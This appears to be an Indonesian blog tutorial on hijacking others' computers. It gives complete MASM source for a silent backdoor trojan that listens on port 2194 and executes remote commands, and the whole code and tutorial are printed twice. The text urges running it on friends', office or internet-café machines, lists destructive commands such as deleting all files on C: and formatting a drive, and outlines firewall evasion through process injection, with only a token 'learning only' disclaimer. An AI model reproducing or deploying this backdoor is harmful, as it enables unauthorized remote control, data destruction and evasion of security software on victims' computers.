Cara Membajak Komputer Orang Lain!!!
;==================================================
; SIMPEL BACKDOOR TROJAN
; compile with MASM
; ml /c /coff backdoor.asm
; link /subsystem:windows /opt:noref backdoor.obj
;==================================================
.386 ; 32 bit
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\wsock32.inc
include \masm32\include\kernel32.inc
include \masm32\include\winmm.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\winmm.lib
includelib \masm32\lib\shell32.lib
.data? ; .data section
sock1 SOCKET ? ; socket pertama
sock2 SOCKET ? ; socket kedua
sockin1 sockaddr_in <> ; struktur
sockin2 sockaddr_in <>
s2IP dd ?
wsad WSADATA <> ; WSA struktur
hFile dd ?
hBW dd ?
lenn dd ?
.data
AppName db "AnShell",0
szKonek db "Connected : ",0
szLogon db 13,10
db "______________________________________________",13,10
db " __, WELCOME TO : ",13,10
db "Keterangan",13,10
db "Keterangan",13,10
db "Keterangan",13,10
db 13,10
db "Hanya Untuk Menambah Wawasan",13,10
db "______________________________________________",13,10
db 0
szMasuk db "[ You already entered system ]",13,10
szPerintah db "Command : ",0
szSelesai db 13,10," - thanks for visiting",13,10
db " - [4NV|e]",13,10
db " - anvie_2194@yahoo.com",13,10
db " - www.anvie.net.tc",0
szSocketError db "shit, socket error",0 ;what the fuck!
szPerintahX db "Command not found.",13,10,0
szKosong db 13,10
szOpen db "Open",0
; perintah-perintah
Perintah1 db "msgbox",0
Perintah2 db "close",0
Perintah3 db "shell",0
Buffer db 512 dup(0) ; buffer
Buffer2 db 512 dup(0) ; buffer
KeepOF dd 0 ; buat jaga-jaga biar gak terjadi buffer overflow
.code ; .code section
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
StartUp proc ; prosedur awal pembuatan socket
push offset wsad
push 0101h
call WSAStartup
push 0
push SOCK_STREAM
push PF_INET
call socket ; buat socket utama (server? :P)
; backdoor!
mov sock1,eax
mov ax,AF_INET
mov sockin1.sin_family,ax
xor eax,eax
mov sockin1.sin_addr,eax
push 2194
call htons ; Buka port 2194 (Lucky Number ;)
mov sockin1.sin_port,ax ; masukin port ke struktur sockaddr_in
mov eax,sizeof sockaddr_in
push eax
push offset sockin1
push sock1
call bind
cmp eax,SOCKET_ERROR ; apakah socket oke ?
jnz socket_oke
xor eax,eax ; tidak, return 0
ret
socket_oke: ; oke, yeah return 1
mov eax,1
ret
StartUp endp
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
BersihkanBuffer proc uses edi lpBufferWORD,jmlWORD
xor al,al ; Isi buffer jadikan nul byte
mov edi,lpBuffer ; dibutuhkan di lingkungan assembly
mov ecx,jml
rep stosb ; mnemonik stosb mengeset alamat edi
; dengan nilai dari eax
ret
BersihkanBuffer endp
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
Tarjim proc lpCommandWORD ; prosedur untuk menerjemahkan perintah
LOCAL lBuffer[512]:BYTE ; untuk dieksekusi.
LOCAL argWORD
LOCAL arg2WORD
push lpCommand
call lstrlen
cmp eax,2
jne perintah_ok
ret
perintah_ok:
lea edi,lBuffer
push edi ; selamatkan edi ke stack
;
push 512
push edi ; bersihkan lBuffer
call BersihkanBuffer
mov edi,lpCommand
mov al,020h ; cari byte 20h dimana 20h=karakter spasi
mov ecx,512 ; simpel deteksi argumen
repnz scasb ; cari!
dec edi
test ecx,ecx ; apakah karakter spasi ditemukan?
jnz cmd_ok ; jika ya goto cmd_ok
mov edi,lpCommand
mov al,0dh ; jika tidak, cari karakter enter (0dh/13)
mov ecx,512
repnz scasb
dec edi
mov byte ptr [edi],0 ; jika ketemu set null byte
jmp no_arg ; argumen tidak ada goto no_arg
cmd_ok:
mov byte ptr [edi],0 ; nullkan karakter spasi
inc edi
mov arg,edi ; simpan argumen pertama
push edi
call lstrlen
add edi,eax
sub edi,2 ; nullkan 2 byte terkahir maksud 2 byte terakhir
mov word ptr [edi],00 ; disini adalah 0ah 0dh (enter)
no_arg:
pop edi ; kembalikan edi dari stack
push lpCommand
push edi
call lstrcpy ; kopikan string perintah ke buffer
push offset Perintah1
push edi
call lstrcmpi ; compare string insensitive
or eax,eax
jz msgbox ; apakah perintah msgbox ?
push offset Perintah2
push edi
call lstrcmpi
or eax,eax ; apakah perintah close ?
jz mati
push offset Perintah3
push edi
call lstrcmpi
or eax,eax ; apakah perintah shell ?
jz shell
xor eax,eax ; perintah gak ada yang cocok
ret ; kembali dan tampilkan pesan
msgbox:
mov eax,MB_OK
or eax,MB_SYSTEMMODAL
or eax,MB_TOPMOST
push eax
push offset AppName
push arg
push 0
call MessageBox
jmp retCmd
mati:
push offset szSelesai
call lstrlen
mov lenn,eax
; tampilkan pesan selesai
push 0
push lenn
push offset szSelesai
push sock2
call send
; tutup socket
push sock1
call closesocket
push sock2
call closesocket
; bersihkan memori
call WSACleanup
xor eax,eax
push 0
call ExitProcess
shell:
; cari untuk argumen ke 2 atau sub commandline
mov arg2,0
mov edi,arg
mov ecx,512
mov al,20h ; 20h = spasi
repnz scasb
cmp ecx,0 ; spasi ditemukan ?
je no_arg2 ; jika tidak goto no_arg2
dec edi
mov byte ptr [edi],0 ; ada, nullkan
inc edi
mov arg2,edi ; simpan arg2 ke memori
no_arg2:
push 1
push 0
push arg2
push arg
push offset szOpen
push 0
call ShellExecuteA ; eksekusi!
jmp retCmd
retCmd:
mov al,1
ret
Tarjim endp
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
start:
call StartUp ; panggil prosedur startup
test eax,eax ; apakah socket oke?
jz socket_error ; jika tidak socket = error
; socket dah oke
; buat listening ke port 2194
push 1
push sock1
call listen
new_session:
push sock2 ; tutup socket 2
call closesocket ; berfungsi setelah looping
mov eax,sizeof sockaddr_in
mov lenn,eax
push offset lenn
push offset sockin2
push sock1
call accept ; menunggu perintah dari socket 2
mov sock2,eax ; simpan alamat socket 2
push offset szLogon
call lstrlen
mov lenn,eax
push 0
push lenn
push offset szLogon
push sock2
call send ; sambut tamu dari luar
mov eax,sockin2.sin_addr
push eax
call inet_ntoa ; terjemahkan IP x.x.x.x
mov s2IP,eax ; simpan IP dari socket 2
push offset szKonek
push offset Buffer
call lstrcpy
lea edi,Buffer
push edi
or ecx,-1
mov al,03Ah ; cari karakter ':'
repnz scasb
inc edi
; tempelkan string IP
push s2IP
push edi
call lstrcpy
push edi
call lstrlen
add edi,eax
mov word ptr [edi],0a0dh ; ganti baris
add edi,2
mov byte ptr [edi],0 ; null
pop edi
push edi
call lstrlen
mov lenn,eax
push 0
push lenn
push offset Buffer
push sock2
call send ; tampilkan string Connected : x.x.x.x -> IP address
push 0
mov eax, sizeof szMasuk
push eax
push offset szMasuk
push sock2
call send ; welcome
perintah:
push 0
push 10
push offset szPerintah
push sock2
call send ; backdoor siap dikendalikan!
push 512
push offset Buffer2
call BersihkanBuffer ; Bersihkan buffer
lea edi,Buffer2
mov KeepOF,0 ; counter anti buffer overflow
tunggu_perintah:
invoke recv,sock2,edi,500,0
test eax,eax
jz new_session
cmp eax,SOCKET_ERROR
je new_session
add edi,eax
inc KeepOF
cmp KeepOF,511
jb no_of ; jika penuisan buffer hampir mencapai 512 byte
jmp perintah ; bersihkan buffer, jaga2 biar gak terjadi
no_of: ; Buffer overflow :-)
cmp byte ptr [edi-1],08h
jne bkn_backs
xor eax,eax
mov word ptr [edi],ax
sub edi,2
bkn_backs:
cmp byte ptr [edi-1],0ah ; apakah tombol enter yang ditekan ?
jnz tunggu_perintah ; jika nggak masih nunggu perintah
; ya, terjemahkan perintah
push offset Buffer2
call Tarjim ; panggil prosedur tarjim
test eax,eax ; apakah perintah valid
jnz perintah ; jika tidak balik tungu perintah
cmp eax,2 ; apakah perintah kosong ?
je kosong ; jika ya, goto kosong
push 0
mov eax,sizeof szPerintahX
push eax
push offset szPerintahX
push sock2
call send ; tampilkan pesan kalo perintah nggak ada
jmp perintah
kosong:
push 0
push 2
push offset szKosong
push sock2
call send ; hanya ganti baris
jmp perintah
socket_error: ; trap handel jika-jika socket error
push MB_ICONERROR
push offset AppName
push offset szSocketError
push 0
call MessageBox ; tampilkan kesalahan
tamat:
push 0
call ExitProcess ; selesai.
end start
================[ EOF ]=========================================
Kode Kode :
kalo udah coba test hasilnya, jalankan backdoor.exe dikomputer target, misal komputer teman, kantor, warnet (komputer operator lho) atau komputer pribadi, backdoor ini saya desain silent jadi kamu gak bakalan nemuin jendela macam-macam, tapi kalo kamu pake firewall pasti akan ketahuan kalo backdoor.exe telah membuka port.
setelah langkah diatas selesai kita akan melakukan telnet ke komputer target, kita bisa pake komputer lain, untuk menjalankan telnet caranya klik start>run> ketik “cmd” tanpa tanda kutip. setelah itu akan tampil jendela konsol seperti gambar 01:
Gambar 01
pada jendela konsol ketikkan “telnet x.x.x.x 2194” tanpa tanda kutip, x.x.x.x disini maksudnya IP target, contoh “telnet 192.168.0.3 2194”, 2194 disini maksudnya port yang akan kita masuki (untuk contoh backdoor ini aku gunakan port 2194). contoh Gambar 02
Gambar 02
tekan “Enter” kalo telnet berhasil maka akan tampil seperti Gambar 03 berikut:
Gambar 03
nah kalo dah gitu kita udah bisa mengendalikan komputer target dari jarak jauh, maksud seperti contoh gambar diatas adalah backdoor sudah siap melakukan perintah, ada 3 perintah yang dikenal oleh backdoor ini :
1. Tulis "msgbox" (untuk menampilkan pesan ke komputer target)
2. Tulis "shell" (untuk menjalankan aplikasi di komputer sasaran)
3. Tulis "close" (untuk menutup hubungan dan mematikan backdoornya)
perintah diatas bisa ditambah sendiri tergantung kreatifitas kamu.
backdoor bisa menyenangkan jika digunakan untuk mengerjai temen yang lagi ol .
cara menjalankan perintah cukup ketikkan perintah diatas pada jendela konsol, misal kita akan menampilkan pesan ke komputer target, tinggal ketikkan:
“msgbox hallo, komputer kamu dibawah kendaliku” tanpa tanda kutip, maka pada komputer target akan muncul jendela box seperti contoh Gambar 04:
Gambar 04
atau ingin memainkan musik ke komputer target dengan catatan kita tahu tempat musik yang akan kita mainkan, contoh:
“shell d:\musik ku\dream theater – endless sacrifice.mp3”
maka dikomputer target akan memainkan musik yang merdu.
atau ingin mematikan komputer target yang berbasis Wind**s 2000 keatas, dengan cara:
“shell shutdown –s –t 0 –f”
untuk merestart tinggal ganti “-s” jadi –“r” contoh:
“shell shutdown –r –t 0 –f”
Backdoor bisa menjadi sangat berbahaya jika yang dijalankan adalah perintah-perintah seperti:
“shell del /f /q /s c:\*.*” (perintah untuk menghapus semua data tanpa konfirmasi)
“shell format d: /q” (perintah untuk memformat hardisk)
NB: mohon agar contoh program backdoor ini tidak digunakan untuk tindakan-tindakan yang merusak, hanya untuk pembelajaran.
setelah selesai menggunakan backdoor kita bisa tutup dengan mengetikkan perintah “close”, maka backdoor di komputer target akan bunuh diri.
Cara di atas akan sia-sia apabila komputer target memasang firewall, kita perlu menambahkan kode anti firewall detection untuk menghindari deteksi dari firewall. kode anti firewall detection yang saya ketahui adalah dengan cara tehnik runtime process infection, dimana kita akan menginjeksi kode backdoor ke tubuh firewall (hampir mirip kayak DLL injection) yang sedang resident lalu meremote-nya misal pake API CreateRemoteThread, sehingga firewall akan mengangapnya sebagai sumber yang dipercaya, karena nggak mungkin firewall mencurigai dirinya sendiri sebagai backdoor :”D, Adapun beberapa firewall yang vulnerable terhadap serangan ini adalah:
1. Zone Alarm 4
2. Zone Alarm Pro 4
3. BlackIce 3.
;==================================================
; SIMPEL BACKDOOR TROJAN
; compile with MASM
; ml /c /coff backdoor.asm
; link /subsystem:windows /opt:noref backdoor.obj
;==================================================
.386 ; 32 bit
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\wsock32.inc
include \masm32\include\kernel32.inc
include \masm32\include\winmm.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\winmm.lib
includelib \masm32\lib\shell32.lib
.data? ; .data section
sock1 SOCKET ? ; socket pertama
sock2 SOCKET ? ; socket kedua
sockin1 sockaddr_in <> ; struktur
sockin2 sockaddr_in <>
s2IP dd ?
wsad WSADATA <> ; WSA struktur
hFile dd ?
hBW dd ?
lenn dd ?
.data
AppName db "AnShell",0
szKonek db "Connected : ",0
szLogon db 13,10
db "______________________________________________",13,10
db " __, WELCOME TO : ",13,10
db "Keterangan",13,10
db "Keterangan",13,10
db "Keterangan",13,10
db 13,10
db "Hanya Untuk Menambah Wawasan",13,10
db "______________________________________________",13,10
db 0
szMasuk db "[ You already entered system ]",13,10
szPerintah db "Command : ",0
szSelesai db 13,10," - thanks for visiting",13,10
db " - [4NV|e]",13,10
db " - anvie_2194@yahoo.com",13,10
db " - www.anvie.net.tc",0
szSocketError db "shit, socket error",0 ;what the fuck!
szPerintahX db "Command not found.",13,10,0
szKosong db 13,10
szOpen db "Open",0
; perintah-perintah
Perintah1 db "msgbox",0
Perintah2 db "close",0
Perintah3 db "shell",0
Buffer db 512 dup(0) ; buffer
Buffer2 db 512 dup(0) ; buffer
KeepOF dd 0 ; buat jaga-jaga biar gak terjadi buffer overflow
.code ; .code section
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
StartUp proc ; prosedur awal pembuatan socket
push offset wsad
push 0101h
call WSAStartup
push 0
push SOCK_STREAM
push PF_INET
call socket ; buat socket utama (server? :P)
; backdoor!
mov sock1,eax
mov ax,AF_INET
mov sockin1.sin_family,ax
xor eax,eax
mov sockin1.sin_addr,eax
push 2194
call htons ; Buka port 2194 (Lucky Number ;)
mov sockin1.sin_port,ax ; masukin port ke struktur sockaddr_in
mov eax,sizeof sockaddr_in
push eax
push offset sockin1
push sock1
call bind
cmp eax,SOCKET_ERROR ; apakah socket oke ?
jnz socket_oke
xor eax,eax ; tidak, return 0
ret
socket_oke: ; oke, yeah return 1
mov eax,1
ret
StartUp endp
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
BersihkanBuffer proc uses edi lpBufferWORD,jmlWORD
xor al,al ; Isi buffer jadikan nul byte
mov edi,lpBuffer ; dibutuhkan di lingkungan assembly
mov ecx,jml
rep stosb ; mnemonik stosb mengeset alamat edi
; dengan nilai dari eax
ret
BersihkanBuffer endp
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
Tarjim proc lpCommandWORD ; prosedur untuk menerjemahkan perintah
LOCAL lBuffer[512]:BYTE ; untuk dieksekusi.
LOCAL argWORD
LOCAL arg2WORD
push lpCommand
call lstrlen
cmp eax,2
jne perintah_ok
ret
perintah_ok:
lea edi,lBuffer
push edi ; selamatkan edi ke stack
;
push 512
push edi ; bersihkan lBuffer
call BersihkanBuffer
mov edi,lpCommand
mov al,020h ; cari byte 20h dimana 20h=karakter spasi
mov ecx,512 ; simpel deteksi argumen
repnz scasb ; cari!
dec edi
test ecx,ecx ; apakah karakter spasi ditemukan?
jnz cmd_ok ; jika ya goto cmd_ok
mov edi,lpCommand
mov al,0dh ; jika tidak, cari karakter enter (0dh/13)
mov ecx,512
repnz scasb
dec edi
mov byte ptr [edi],0 ; jika ketemu set null byte
jmp no_arg ; argumen tidak ada goto no_arg
cmd_ok:
mov byte ptr [edi],0 ; nullkan karakter spasi
inc edi
mov arg,edi ; simpan argumen pertama
push edi
call lstrlen
add edi,eax
sub edi,2 ; nullkan 2 byte terkahir maksud 2 byte terakhir
mov word ptr [edi],00 ; disini adalah 0ah 0dh (enter)
no_arg:
pop edi ; kembalikan edi dari stack
push lpCommand
push edi
call lstrcpy ; kopikan string perintah ke buffer
push offset Perintah1
push edi
call lstrcmpi ; compare string insensitive
or eax,eax
jz msgbox ; apakah perintah msgbox ?
push offset Perintah2
push edi
call lstrcmpi
or eax,eax ; apakah perintah close ?
jz mati
push offset Perintah3
push edi
call lstrcmpi
or eax,eax ; apakah perintah shell ?
jz shell
xor eax,eax ; perintah gak ada yang cocok
ret ; kembali dan tampilkan pesan
msgbox:
mov eax,MB_OK
or eax,MB_SYSTEMMODAL
or eax,MB_TOPMOST
push eax
push offset AppName
push arg
push 0
call MessageBox
jmp retCmd
mati:
push offset szSelesai
call lstrlen
mov lenn,eax
; tampilkan pesan selesai
push 0
push lenn
push offset szSelesai
push sock2
call send
; tutup socket
push sock1
call closesocket
push sock2
call closesocket
; bersihkan memori
call WSACleanup
xor eax,eax
push 0
call ExitProcess
shell:
; cari untuk argumen ke 2 atau sub commandline
mov arg2,0
mov edi,arg
mov ecx,512
mov al,20h ; 20h = spasi
repnz scasb
cmp ecx,0 ; spasi ditemukan ?
je no_arg2 ; jika tidak goto no_arg2
dec edi
mov byte ptr [edi],0 ; ada, nullkan
inc edi
mov arg2,edi ; simpan arg2 ke memori
no_arg2:
push 1
push 0
push arg2
push arg
push offset szOpen
push 0
call ShellExecuteA ; eksekusi!
jmp retCmd
retCmd:
mov al,1
ret
Tarjim endp
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
start:
call StartUp ; panggil prosedur startup
test eax,eax ; apakah socket oke?
jz socket_error ; jika tidak socket = error
; socket dah oke
; buat listening ke port 2194
push 1
push sock1
call listen
new_session:
push sock2 ; tutup socket 2
call closesocket ; berfungsi setelah looping
mov eax,sizeof sockaddr_in
mov lenn,eax
push offset lenn
push offset sockin2
push sock1
call accept ; menunggu perintah dari socket 2
mov sock2,eax ; simpan alamat socket 2
push offset szLogon
call lstrlen
mov lenn,eax
push 0
push lenn
push offset szLogon
push sock2
call send ; sambut tamu dari luar
mov eax,sockin2.sin_addr
push eax
call inet_ntoa ; terjemahkan IP x.x.x.x
mov s2IP,eax ; simpan IP dari socket 2
push offset szKonek
push offset Buffer
call lstrcpy
lea edi,Buffer
push edi
or ecx,-1
mov al,03Ah ; cari karakter ':'
repnz scasb
inc edi
; tempelkan string IP
push s2IP
push edi
call lstrcpy
push edi
call lstrlen
add edi,eax
mov word ptr [edi],0a0dh ; ganti baris
add edi,2
mov byte ptr [edi],0 ; null
pop edi
push edi
call lstrlen
mov lenn,eax
push 0
push lenn
push offset Buffer
push sock2
call send ; tampilkan string Connected : x.x.x.x -> IP address
push 0
mov eax, sizeof szMasuk
push eax
push offset szMasuk
push sock2
call send ; welcome
perintah:
push 0
push 10
push offset szPerintah
push sock2
call send ; backdoor siap dikendalikan!
push 512
push offset Buffer2
call BersihkanBuffer ; Bersihkan buffer
lea edi,Buffer2
mov KeepOF,0 ; counter anti buffer overflow
tunggu_perintah:
invoke recv,sock2,edi,500,0
test eax,eax
jz new_session
cmp eax,SOCKET_ERROR
je new_session
add edi,eax
inc KeepOF
cmp KeepOF,511
jb no_of ; jika penuisan buffer hampir mencapai 512 byte
jmp perintah ; bersihkan buffer, jaga2 biar gak terjadi
no_of: ; Buffer overflow :-)
cmp byte ptr [edi-1],08h
jne bkn_backs
xor eax,eax
mov word ptr [edi],ax
sub edi,2
bkn_backs:
cmp byte ptr [edi-1],0ah ; apakah tombol enter yang ditekan ?
jnz tunggu_perintah ; jika nggak masih nunggu perintah
; ya, terjemahkan perintah
push offset Buffer2
call Tarjim ; panggil prosedur tarjim
test eax,eax ; apakah perintah valid
jnz perintah ; jika tidak balik tungu perintah
cmp eax,2 ; apakah perintah kosong ?
je kosong ; jika ya, goto kosong
push 0
mov eax,sizeof szPerintahX
push eax
push offset szPerintahX
push sock2
call send ; tampilkan pesan kalo perintah nggak ada
jmp perintah
kosong:
push 0
push 2
push offset szKosong
push sock2
call send ; hanya ganti baris
jmp perintah
socket_error: ; trap handel jika-jika socket error
push MB_ICONERROR
push offset AppName
push offset szSocketError
push 0
call MessageBox ; tampilkan kesalahan
tamat:
push 0
call ExitProcess ; selesai.
end start
================[ EOF ]=========================================
Kode Kode :
kalo udah coba test hasilnya, jalankan backdoor.exe dikomputer target, misal komputer teman, kantor, warnet (komputer operator lho) atau komputer pribadi, backdoor ini saya desain silent jadi kamu gak bakalan nemuin jendela macam-macam, tapi kalo kamu pake firewall pasti akan ketahuan kalo backdoor.exe telah membuka port.
setelah langkah diatas selesai kita akan melakukan telnet ke komputer target, kita bisa pake komputer lain, untuk menjalankan telnet caranya klik start>run> ketik “cmd” tanpa tanda kutip. setelah itu akan tampil jendela konsol seperti gambar 01:
Gambar 01
pada jendela konsol ketikkan “telnet x.x.x.x 2194” tanpa tanda kutip, x.x.x.x disini maksudnya IP target, contoh “telnet 192.168.0.3 2194”, 2194 disini maksudnya port yang akan kita masuki (untuk contoh backdoor ini aku gunakan port 2194). contoh Gambar 02
Gambar 02
tekan “Enter” kalo telnet berhasil maka akan tampil seperti Gambar 03 berikut:
Gambar 03
nah kalo dah gitu kita udah bisa mengendalikan komputer target dari jarak jauh, maksud seperti contoh gambar diatas adalah backdoor sudah siap melakukan perintah, ada 3 perintah yang dikenal oleh backdoor ini :
1. Tulis "msgbox" (untuk menampilkan pesan ke komputer target)
2. Tulis "shell" (untuk menjalankan aplikasi di komputer sasaran)
3. Tulis "close" (untuk menutup hubungan dan mematikan backdoornya)
perintah diatas bisa ditambah sendiri tergantung kreatifitas kamu.
backdoor bisa menyenangkan jika digunakan untuk mengerjai temen yang lagi ol .
cara menjalankan perintah cukup ketikkan perintah diatas pada jendela konsol, misal kita akan menampilkan pesan ke komputer target, tinggal ketikkan:
“msgbox hallo, komputer kamu dibawah kendaliku” tanpa tanda kutip, maka pada komputer target akan muncul jendela box seperti contoh Gambar 04:
Gambar 04
atau ingin memainkan musik ke komputer target dengan catatan kita tahu tempat musik yang akan kita mainkan, contoh:
“shell d:\musik ku\dream theater – endless sacrifice.mp3”
maka dikomputer target akan memainkan musik yang merdu.
atau ingin mematikan komputer target yang berbasis Wind**s 2000 keatas, dengan cara:
“shell shutdown –s –t 0 –f”
untuk merestart tinggal ganti “-s” jadi –“r” contoh:
“shell shutdown –r –t 0 –f”
Backdoor bisa menjadi sangat berbahaya jika yang dijalankan adalah perintah-perintah seperti:
“shell del /f /q /s c:\*.*” (perintah untuk menghapus semua data tanpa konfirmasi)
“shell format d: /q” (perintah untuk memformat hardisk)
NB: mohon agar contoh program backdoor ini tidak digunakan untuk tindakan-tindakan yang merusak, hanya untuk pembelajaran.
setelah selesai menggunakan backdoor kita bisa tutup dengan mengetikkan perintah “close”, maka backdoor di komputer target akan bunuh diri.
Cara di atas akan sia-sia apabila komputer target memasang firewall, kita perlu menambahkan kode anti firewall detection untuk menghindari deteksi dari firewall. kode anti firewall detection yang saya ketahui adalah dengan cara tehnik runtime process infection, dimana kita akan menginjeksi kode backdoor ke tubuh firewall (hampir mirip kayak DLL injection) yang sedang resident lalu meremote-nya misal pake API CreateRemoteThread, sehingga firewall akan mengangapnya sebagai sumber yang dipercaya, karena nggak mungkin firewall mencurigai dirinya sendiri sebagai backdoor :”D, Adapun beberapa firewall yang vulnerable terhadap serangan ini adalah:
1. Zone Alarm 4
2. Zone Alarm Pro 4
3. BlackIce 3.
ConversionConversion EmoticonEmoticon